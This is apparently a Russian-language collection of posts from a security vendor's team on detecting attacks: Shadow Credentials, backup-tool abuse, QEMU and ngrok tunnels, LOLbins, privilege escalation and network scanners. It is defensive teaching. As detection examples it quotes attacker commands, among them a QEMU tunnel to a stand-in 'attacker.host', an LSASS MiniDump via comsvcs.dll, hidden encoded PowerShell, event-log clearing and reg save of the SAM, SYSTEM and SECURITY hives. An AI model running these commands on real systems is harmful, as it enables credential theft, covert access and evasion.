Что такое атрибуция? Это когда вам с умным видом рассказывают, что судя по языку комментариев в коде, хакеры пришли из Серверной Кореи.

На деле, эти сказки не работают уже много лет. Серьёзные хакерские группы давно научились добавлять в свои инструменты множество фальшивых атрибутов. Если не верите – почитайте, как облажалась вся, буквально вся ИБ-индустрия, пытаясь угадать, откуда пришёл OlympicDestroyer.

А вот более актуальный пример APT прошлой осени: группировка, чьи шпионские модули обращаются к командному серверу по адресу lunnayareka[.]com. Думаете, мы будем вещать, что это русскоязычные хакеры, которые любят корейский сериал про девушку-воина? Нет, не будем. Ведь фантастическая девушка из сериала "Лунная Река" никак не поможет, когда вас взломают.

Лучше мы покажем, как эта хакерская группа атакует российские государственные организации, и по каким IoC-ам их надо вычислять. А вы проверьте – может, они и за вами шпионят:
https://securelist.ru/ataki-na-industrialnyj-i-gosudarstvennyj-sektory-rf/108229/

Одна из сложных для обнаружения атак в корпоративных сетях – Shadow Credentials (использование поддельных сертификатов). Отследить её трудно, поскольку злоумышленники применяют легитимные механизмы Active Directory.

Как ловить такие атаки (изменение msDS-KeyCredentialLink для доверия сертификату атакующего с целью получить билет Kerberos):
Включаем и анализируем 4768:
1) Существует ли DeviceId у атрибута msDS-KeyCredentialLink. Если существует и объекта с таким DeviceId нет в домене – подозрительно. Если существует DeviceId и относится к коннектору Azure AD, то похоже на легитимную работу.
2) Поле Flags не содержит MFANotUsed. Как правило, в легитимном случае содержит.
3) KeyMaterial имеет длину, отличную от 270 байт, — именно такие артефакты оставляет Whisker.
И/или смотрим исторические взаимодействия с msDS-KeyCredentialLink.

Подробнее о том, как находить артефакты в AD и настроить детектирующую логику в SIEM – читайте в нашей статье: https://securelist.ru/anomaly-detection-in-certificate-based-tgt-requests/107710/

Все говорят, что лучшая защита от шифровальщиков – это бэкапы. Но не все знают, что средства резервного копирования могут быть использованы для компрометации вашей системы. Особенно если вы применяете сервисы резервного копирования на основе протокола NDMP (Veritas Backup и другие).

Ловим эксплуатацию:
– в директории <Veritas>\Data (Windows: C:\Program Files\Veritas\Backup Exec\RAWS\Data; Linux: /opt/VRTSralus/data), где появятся файлы поддельных сертификатов, установленные атакующим.
– в реестре HKLM\Software\Veritas\Backup Exec For Windows\Common\Backup Exec\Engine\Agents\Security\Certificates (или в файле /etc/VRTSralus/ralus.cfg для Linux) смотрим метаинформацию установленных сертификатов. Например, можно сравнить IP-узла установщика сертификата с IP-адресом настоящего мастер-сервера Backup Exec-а.

Подробности в докладе –
Видео: https://youtu.be/Nd5ORi2bIO8
Слайды: https://github.com/klsecservices/Publications/blob/master/PHD2023%20Network%20infrastructure%20compromise%20via%20backup%20tools.pdf

Экзотический способ создания сетевых туннелей. Атакующие использовали QEMU – программу для эмуляции аппаратного обеспечения различных платформ. Оказалось, что виртуальные машины QEMU на различных хостах можно соединять через сетевые сокеты – что и устроили злоумышленники. Смотрите, как создаётся такой туннель:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=attacker.host:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

Подробный отчёт об этой атаке и методах защиты:
https://securelist.ru/network-tunneling-with-qemu/108838/

Тысячи веб-мастеров, ИБшников и домохозяек ещё два года назад могли прочитать, как легко взламывается Bitrix, и как от этого защититься, и как избежать утечек через эту CMS. Но в XXI веке никто не читает такие длинные статьи!

Поэтому нам остаётся только взять попкорн и наблюдать сбычу очевидных пророчеств. Если у вас уже случилась утечка – вы наверняка используете Bitrix. А если у вас ещё не случилась утечка – просто поставьте себе побольше "Битрикса", и вы тоже попадёте в наш годовой отчёт о значимых утечках:
https://content.kaspersky-labs.com/se/media/ru/data-leaks-report-2023.pdf

Как реагировать на утечку? Мониторьте Дарквеб. Анализируйте упоминания вашей компании. Проверяйте фейки. Вычисляйте источник и составляйте профиль злоумышленника. Ищите место утечки и закрывайте брешь. Не платите выкуп. И скачайте наш плейбук по реагированию на утечку:
https://content.kaspersky-labs.com/se/media/ru/dark-web-playbook-ru.pdf

Осенью 2016 года хакеры группы Lazarus, проникшие в сеть одного из банков Индонезии, готовились вывести оттуда 10 миллионов долларов. Точкой входа для атаки стал сайт банка, заражённый вредоносным скриптом. Но как вы думаете, кого первым заподозрили? Пентестера, который делал анализ защищённости банковского веб-приложения! К счастью, парень сумел доказать, что его деятельность была именно тестом, и что он сразу же предоставил банку всю информацию об уязвимостях. Просто банк не закрыл свои дыры до того, как на сайт пролезли грабители.

Чтобы у вас не было такого – проводите анализ защищённости своих веб-приложений вовремя! Ведь даже сейчас самый популярный вид веб-уязвимостей – недостатки контроля доступа. Этим страдает 74% всех сайтов, которые мы исследовали в 2021-2023 годах. И больше трети таких уязвимостей – высокого риска.

Как выглядит вся «горячая десятка» модных веб-уязвимостей, и как предотвратить их эксплуатацию – читайте в отчёте:
https://securelist.ru/top-10-web-app-vulnerabilities/109215/

Готовим аналитический отчёт про атаки, которые наш SOC отбивал весь 2023 год.

Атакующие продолжают активно применять легитимные утилиты (LOLbins): их использование мы наблюдали в каждом десятом инциденте прошлого года. А если брать инциденты высокой критичности – почти в каждом третьем. Самые популярные LOLbins – это powershell.exe и rundll32.exe: они замечены в 12% критичных инцидентов. Поэтому адаптация детектирующей логики под выявление нецелевого использования этих утилит в ваших сетях должна стать приоритетной задачей команды мониторинга.

Плохая новость в том, что обнаружение LOLbins связано с большим количеством ложных срабатываний. И всё же ряд хрестоматийных активностей атакующих можно вылавливать по таким командам:

`rundll32.exe  C:\windows\System32\comsvcs.dll, MiniDump <...>`

В случае powershell задача посложней. Плохие запуски хорошо видны аналитическому взору, но их много:

`powershell.exe" -NonInteractive -Enc "...OQA5ACIA...KQA=`
`powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ...AZg...AbwA=`
`powershell.exe clear-eventlog security,application,system`
`powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4)<...>$s=New-Object System.Diagnostics.ProcessStartInfo;<...>')-f''k'',''p'',''B''); <...> 7}m{''''9''''}i{5}''''t''''i''''{''''6}''+''{9}'')-f''y'',''S'',''M'',''g'',''u'',''U'',''l'',''A'',''o'',''s'')); if <...>
`powershell.exe -command "&{reg.exe save hklm\sam C:\programdata\Microsoft\drm\sam.save; reg.exe save hklm\system C:\programdata\Microsoft\drm\system.save; reg.exe save hklm\security C:\programdata\Microsoft\drm\security.save}"`

Как научить аналитиков SOC ловить такие запуски? Пусть ваша offensive-команда соберёт варианты использования powershell в вашей организации – и запускает тестовые атаки в похожей форме, чтоб выглядело как легитимная активность.

Если ваша красная команда ищет неординарные способы сбора информации о целевых системах, или прикидывает, откуда начать поиск следующего preauth-зиродея в Windows-инфраструктуре, можно обратиться к знаниям предков и вспомнить про MSRPC и Null-session.

Хотя пик популярности атак с использованием нулевой сессии миновал более 20 лет назад, недра удалённого вызова процедур все ещё скрывают в себе множество интересных интерфейсов взаимодействия. А значит, есть и соответствующая поверхность атаки. Пример на скриншоте – информация о домене, собранная без авторизации с использованием MSRPC-интерфейсов.

А теперь представьте, что с использованием таких интерфейсов возможно проводить перебор доменных пользователей – и делается это гораздо менее заметно, чем при той же преаутентификации в Kerberos.

В мае мы планируем подробно рассказать о том, как анализировать MSRPC-интерфейсы, какие атаки можно осуществлять с их помощью, и как их детектировать. А пока проверьте, на всех ли ваших хостах отключена нулевая сессия!

Продолжаем полезные советы на основе анализа достижений атакующих, выявленных нашим SOC’ом в 2023 году.

Многие критические инциденты связаны с повышением привилегий (TA0004) после первоначального доступа (TA0001). Очень часто это обнаруживается как добавление учётных записей в различные привилегированные группы (Domain Admins, Enterprise Admins, …). Понятно, что ложных срабатываний здесь тоже бывает много.

Что делать? Нужна регулярная инвентаризация членства в привилегированных группах. Если вы мониторите этот процесс самостоятельно, важно наличие формального порядка управления полномочиями. Если же этим занимаются ваши подрядчики по обнаружению, им должна быть оперативно доступна информация о легитимности изменений в привилегированных группах.

Вот простой пример. Многие изменения, выявляемые нашими аналитиками у заказчиков, выглядят так:

`% net user <...> /add` 
`% net {local}group <...> /add`

На практике такие детекты часто оказываются ложноположительными. Что вполне естественно, ведь команда net –нативный механизм работы с пользователями в Windows.

Однако существует утилита-двойник net1.exe, которая появилась в Windows NT и Windows 2000 как временный костыль для решения «ошибки Y2K» при работе утилиты net. И хотя сама «ошибка Y2K» давно исправлена, утилита net1 осталась в более поздних версиях Windows для обеспечения совместимости со старыми компонентами ОС. И при вызове net следом всегда вызывается net1 – по сути, Windows проксирует выполнение в эту команду.

При этом вызовы net, как уже сказано, часто бывают легитимными. Но когда утилиту-двойника net1 вызывают напрямую, ручками – это очень подозрительно. А если вместе с добавлением пользователя (любым способом) ещё и проводили разведку, типа:

query  session /server:<DomainContollerFQDN>  
qwinsta.exe" /server:<DomainContollerFQDN>  
net или net1  group "domain admins" /domain
net или net1  user <...> /domain  
nltest  /domain_trusts

...то в этом случае пора «вентилировать вопросик» с ответственными админами и службой ИБ о легитимности данной активности.

Инструменты Advanced IP Scanner и SoftPerfect Network Scanner – самые распространённые сетевые сканеры, которые используются в подавляющем большинстве атак на этапе Discovery. В момент использования этих утилит атакующие уже имеют доступ в инфраструктуру, но до ущерба пострадавшей организации ещё есть время для реагирования.

Основная сложность с такими сканерами – статус легального ПО: их нельзя автоматически блокировать как вредоносы, иначе вы заблокируете и легитимное использование сотрудниками. Наша рекомендация: любое использование этих инструментов должно рассматриваться как инцидент и приводить к соответствующему реагированию. Но нужно особо обращать внимание на такие детали:

– Нерабочее время: ночь, выходные и праздники.

– Подозрительный путь запуска: например, \ProgramData\x64\netscan.exe

– Учётная запись, от имени которой запущен сканер. Рядовой сотрудник не должен сканировать сеть. Использование локального админа, а не доменной учётки, тоже кажется подозрительным (атакующие ещё не поднялись до домен-админа и начали сканировать сеть).

– Система/сервер, где был зафиксирован запуск. Обращайте внимание на сервера, которые могут быть потенциально начальной точкой компрометации, опубликованные сервера (Exchange, терминальные сервера, IIS, ...), а также контроллеры домена.

– Запуск сканера в контексте терминальной сессии (RDP, AnyDesk, ...) c одной внутренней системы (и из удалённых сессий – VPN) на другую внутреннюю систему.

Больше про использование легитимного софта атакующими расскажем в ежегодном отчёте нашей команды Incident Response. Скоро опубликуем!

Будни расследований инцидентов напомнили отличный сценарий первоначального доступа в инфраструктуру для ваших упражнений команды обнаружения и реагирования.

Атакующий получил доступ к почте сотрудника и, дождавшись переписки с аттачем, добавил свою вредоносную нагрузку в перекидываемый между адресатами документ. Нет нужды выдумывать интересные сценарии социалки для упражнения – такое уже точно откроют. А ещё при таком подходе легче обойти боязнь клика на подтверждение макроса.

Способ утилизации иногда бесполезных доменных учёток: в удалёнку им нельзя или 2FA, а вот на почту вход свободен. Сложно только договориться на подобный сценарий в рамках упражнений (пентесты, симуляции и эмуляции атак): этому может помешать запрет на нарушение тайны переписки.

Что касается вредоносной нагрузки: это офисный документ с макросом, последующим дропом тушек и коннектами наружу. Звучит и есть 100% адверсариальненько.

Продолжаем наблюдать множество атак через подрядчиков (Trusted relationship attacks). Причина понятна: подрядными организациям зачастую становятся небольшие компании, у которых не всегда хорошо с безопасностью.

Вот классическая схема, которую мы встречали во многих инцидентах 2023-2024 годов. После взлома сети подрядчика атакующие находят учётки для подключения к VPN (или другим формам удалённого доступа) клиентов этого подрядчика. Далее закрепление на атакованных системах через утилиту для туннелирования ngrok. Иногда её запускают как сервис, передавая ей конфигурационный файл, содержащий токен и порт для подключения:

ngrok.exe service run --config ngrok.yml

Либо злоумышленники руками добавляют токен для подключения и запускают утилиту:

ngrok.exe config add-authtoken <TOKEN> 
ngrok.exe tcp 3389

При наличии такого туннеля у атакующего уже нет необходимости подключения через VPN. При этом ngrok является легитимной утилитой и не подлежит уничтожению за зловредность.

Кроме того, использование ngrok не оставляет на системе IP-адрес источника подключения. При обычном подключении по RDP в журнале Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx мы увидим событие подключения (21) или переподключения (25), а в поле источника подключения будет IP-адрес злоумышленника, внешний или внутренний.

Если же подключение происходит через ngrok, то в качестве источника будет указано значение ::%16777216, которое не несёт информации об источнике подключения. Но в большинстве случаев такой артефакт окажется признаком подключения через утилиту туннелирования.

Подробнее о разных вариантах атак через подрядчиков расскажем позже – в отдельном большом материале!